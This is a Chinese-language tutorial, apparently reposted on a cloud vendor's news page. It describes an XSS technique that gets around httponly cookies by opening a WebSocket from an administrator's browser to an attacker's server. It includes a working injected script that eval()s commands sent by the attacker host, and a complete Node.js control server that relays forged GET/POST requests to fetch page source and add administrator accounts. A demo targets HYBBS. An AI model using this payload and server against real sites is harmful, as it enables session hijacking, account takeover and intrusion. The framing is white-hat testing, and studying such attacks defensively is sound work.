您好,登錄后才能下訂單哦!
如何分析httponly中的Websocket源碼映射,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
在黑盒測試的XSS中,談起httponly確實是一個讓人非常頭疼的問題,它保護了管理員的cookie信息。筆者感覺分析后臺源碼然后構造新的XSS的Payload,通過Ajax來添加管理員用戶,是一種非常穩的選擇。但是這是要考驗攻擊者的JavaScript水平了,如果Js中再給你來幾層有趣的加密,那攻擊者就該一步一步解密后再一步一步進行Js審計,而且XSS獲取源碼只是一次性的,而沒有審計到關鍵的代碼等同于此次XSS只能做后續XSS的鋪墊,繼續XSS,繼續等管理員上鉤,構造Payload,發送XSS的Payload,再等管理員上鉤,想想就頭大,白帽子的兩行淚流出來了有木有。可以讓你連Js都不需要去審計,手動Payload更不需要,就可以讓管理員輕松發送”添加管理員”的XSS Payload。
我們看一下普通XSS獲取源碼信息的Payload
這是筆者在百度中搜索到的,可以了解到獲取源碼只是發送ajax請求,然后得到源碼給攻擊者服務器端。
因為HTTP協議只有發送與接收,如果我們想要一勞永逸(一次XSS即可完成),那么我們不妨利用一下WebSocket。
那我們放到這里仔細想一想,如果我們通過 WebSocket 讓 管理員的瀏覽器 與 攻擊者的服務器 進行一次鏈接,此時我們扭轉身份,讓 管理員瀏覽器 作為 攻擊者服務器 的服務端,隨后 攻擊者服務器 多次要求 管理員瀏覽器 發送源碼,這樣是不是就達到了一次XSS多個頁面的效果。
什么?還不明白,那看下面這張圖。
此時B為WebSocket,A為受害者,C為攻擊者,C多次要求A來拿錢(源碼)給我,這個時候WebSocket就成為了中間人的身份。它是受害者與攻擊者的一個橋梁(脫離了HTTP協議的TCP)。
既然可以獲取多個頁面,而我們又不喜歡進行Js審計(這明明是筆者不喜歡),然后手動構造Payload,我們喜歡輕松的感覺。那干脆就在源碼上進行fuzz操作吧(本地fuzz毛線啊)。
這里筆者稍微懟一下你們(明明是自娛自樂),筆者先把思維導圖貼一下。
也就是說,我們可以獲取多個源碼信息,然后將目標的所有CSS與JS通過外聯的方式引入進來,因為CSS樣式與JS對于我們都非常重要。然后本地再去源碼中找一下有沒有”添加管理員”的功能,因為各種Js與Css都引入進來了,那么就可以發送表單請求。然后我們通過Fuzz找到“添加管理員”功能后,通過fuzz來添加用戶,而WebSocket告訴管理員的瀏覽器:“我要發送一個添加管理員的Ajax請求”。隨后管理員瀏覽器去發送。這樣下來連Js審計都不需要了。
當然了,我們紙上談兵沒有什么用的,下邊我們一起實現一下吧~
WebSocket XSS Payload:
<script>
var ws = new WebSocket('ws://127.0.0.1:5555/'); //攻擊者的websocket
ws.addEventListener('message', (data) => {
try {
eval(data.data);
}catch(e){
console.log('代碼執行錯誤');
}
});
</script>
這里筆者使用nodeJs編寫的服務端。這里其實也有原因的,因為nodeJs支持一個文件多個端口,其次路由可以自由指定,非常舒服。所以筆者這里使用的是nodeJs。
服務端代碼:
let ws = require('nodejs-websocket');
let http = require('http');
let url = require('url');
let resStr = '';let server = ws.createServer(connect => {
connect.send(createString('GET', `'+location.href+'`));
connect.on('text', (data) => {
resStr = data;
});
connect.on('error', () => {});
connect.on('close', () => {});
});
server.listen(5555);let httpServer = http.createServer((request, response) => {
if(request.url == '/favicon.ico'){
return;
}
response.writeHead(200, {'Content-Type':'text/html;charset=utf8'});
if(url.parse(request.url).pathname == '/heihu577'){
let querystring = url.parse(request.url, true);
let cmd = querystring.query.cmd;
console.log(querystring.query);
if(cmd != ''){
guangbo(cmd);
}
}else if(request.method.toLowerCase() == 'get'){
guangbo(createString('GET', request.url));
response.end(resStr);
}else if(request.method.toLowerCase() == 'post'){
let tmpStr = '';
request.addListener('data', (chunk) => {
tmpStr += chunk;
});
request.addListener('end', () => {
guangbo(createString('POST', request.url, tmpStr));
response.end(resStr);
});
}
response.end('ok');
});
httpServer.listen(6666);function guangbo(data){
server.connections.forEach(item => {
item.send(data);
});
}function createString(method, url, options = ''){
switch(method){
case 'GET':
str = `let xml = new XMLHttpRequest();xml.open('${method}', '${url}');xml.send(null);xml.onreadystatechange=function(){if(this.status=='200'&&this.readyState=='4'){ws.send(this.responseText.replace(/<(script|link)(.+?)(href|src)=(["|'])(?!http)(.+?)["|'](.*?)>/gm,\`<$1$2$3=$4\${window.location.protocol+"//"+window.location.host+"/"}$5$4$6>\`));}}`;
break;
case 'POST':
str = `let xml = new XMLHttpRequest();xml.open('${method}', '${url}');xml.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");xml.send('${options}');xml.onreadystatechange=function(){if(this.status=='200'&&this.readyState=='4'){ws.send(this.responseText);}}`;
break;
}
return str;
}
請注意這里引用了nodeJs外部的nodejs-websocket包,使用 npm install nodejs-websocket --save命令安裝即可。
這里就隨便找一套程序吧,這里筆者使用的程序是HYBBS。因為之前通讀完沒有刪除代碼。
映射演示:
這里不知道某些原因,訪問要訪問的頁面需要訪問兩次。
添加用戶測試:
唯一缺點就是,當管理員關閉當前頁面則源碼無法獲取。
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。